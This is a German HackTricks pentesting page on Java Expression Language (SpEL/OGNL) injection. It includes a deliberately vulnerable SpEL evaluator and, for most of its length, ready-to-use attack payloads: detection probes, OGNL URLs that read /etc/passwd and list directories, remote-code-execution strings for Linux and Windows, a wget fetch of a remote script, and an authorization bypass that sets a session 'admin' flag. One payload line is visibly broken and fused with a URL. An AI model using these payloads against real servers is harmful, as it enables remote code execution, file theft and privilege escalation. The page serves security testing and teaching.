# EL - Ausdruckssprache {{#include ../../banners/hacktricks-training.md}} ## Grundlegende Informationen Die Ausdruckssprache (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Sie wird hauptsächlich in: - **JavaServer Faces (JSF)**: Zum Binden von UI-Komponenten an Backend-Daten/Aktionen. - **JavaServer Pages (JSP)**: Für den Datenzugriff und die Manipulation innerhalb von JSP-Seiten. - **Contexts and Dependency Injection for Java EE (CDI)**: Um die Interaktion der Webschicht mit verwalteten Beans zu erleichtern. **Verwendungskontexte**: - **Spring Framework**: In verschiedenen Modulen wie Sicherheit und Daten angewendet. - **Allgemeine Nutzung**: Durch die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala. EL ist in JavaEE-Technologien, eigenständigen Umgebungen vorhanden und erkennbar durch `.jsp`- oder `.jsf`-Dateiendungen, Stack-Fehler und Begriffe wie "Servlet" in Headern. Die Funktionen und die Verwendung bestimmter Zeichen können jedoch versionsabhängig sein. > [!NOTE] > Abhängig von der **EL-Version** können einige **Funktionen** **ein** oder **aus** sein und normalerweise können einige **Zeichen** **nicht erlaubt** sein. ## Einfaches Beispiel (Sie können ein weiteres interessantes Tutorial über EL unter [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) finden.) Laden Sie die Jar-Dateien aus dem [**Maven**](https://mvnrepository.com) Repository herunter: - `commons-lang3-3.9.jar` - `spring-core-5.2.1.RELEASE.jar` - `commons-logging-1.2.jar` - `spring-expression-5.2.1.RELEASE.jar` Und erstellen Sie die folgende `Main.java`-Datei: ```java import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main { public static ExpressionParser PARSER; public static void main(String[] args) throws Exception { PARSER = new SpelExpressionParser(); System.out.println("Enter a String to evaluate:"); java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in)); String input = stdin.readLine(); Expression exp = PARSER.parseExpression(input); String result = exp.getValue().toString(); System.out.println(result); } } ``` Als nächstes kompilieren Sie den Code (wenn Sie `javac` nicht installiert haben, installieren Sie `sudo apt install default-jdk`): ```java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java ``` Führen Sie die Anwendung mit aus: ```java java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main Enter a String to evaluate: {5*5} [25] ``` Beachten Sie, wie im vorherigen Beispiel der Begriff `{5*5}` **ausgewertet** wurde. ## **CVE-basiertes Tutorial** Überprüfen Sie es in **diesem Beitrag:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) ## Payloads ### Grundlegende Aktionen ```bash #Basic string operations examples {"a".toString()} [a] {"dfd".replace("d","x")} [xfx] #Access to the String class {"".getClass()} [class java.lang.String] #Access ro the String class bypassing "getClass" #{""["class"]} #Access to arbitrary class {"".getClass().forName("java.util.Date")} [class java.util.Date] #List methods of a class {"".getClass().forName("java.util.Date").getMethods()[0].toString()} [public boolean java.util.Date.equals(java.lang.Object)] ``` ### Erkennung - Burp-Erkennung ```bash gk6q${"zkz".toString().replace("k", "x")}doap2 #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. ``` - J2EE-Erkennung ```bash #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL ``` - Schlaf 10 Sekunden ```bash #Blind detection vector (sleep during 10 seconds) https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} ``` ### Remote File Inclusion ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd ``` ### Verzeichnisauflistung ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=.. ``` ### RCE - Grundlegende RCE **Erklärung** ```bash #Check the method getRuntime is there {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} [public static java.lang.Runtime java.lang.Runtime.getRuntime()] #Execute command (you won't see the command output in the console) {"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")} [Process[pid=10892, exitValue=0]] #Execute command bypassing "getClass" #{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl .burpcollaborator.net")} # With HTMl entities injection inside the template ``` - RCE **linux** ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` - RCE **Windows** (nicht getestet) ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` - **Mehr RCE** ```java // Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec() ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance().start() // Method using Runtime via getDeclaredConstructors #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} // Method using processbuilder ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")} // Method using Reflection & Invoke ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} // Method using ScriptEngineManager one-liner ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} // Method using ScriptEngineManager {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\"); //https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt (T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())) T(java.lang.System).getenv()[0] T(java.lang.Runtime).getRuntime().exec('ping my-domain.com') T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()) ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') ``` ### Überprüfung der Umgebung - `applicationScope` - globale Anwendungsvariablen - `requestScope` - Anfragevariablen - `initParam` - Anwendungsinitialisierungsvariablen - `sessionScope` - Sitzungsvariablen - `param.X` - Parametervalue, wobei X der Name eines HTTP-Parameters ist Sie müssen diese Variablen in String umwandeln, wie: ```bash ${sessionScope.toString()} ``` #### Beispiel für die Umgehung der Autorisierung ```bash ${pageContext.request.getSession().setAttribute("admin", true)} ``` Die Anwendung kann auch benutzerdefinierte Variablen wie Folgendes verwenden: ```bash ${user} ${password} ${employee.FirstName} ``` ## WAF Bypass Überprüfen Sie [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) ## References - [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) - [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) - [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) {{#include ../../banners/hacktricks-training.md}}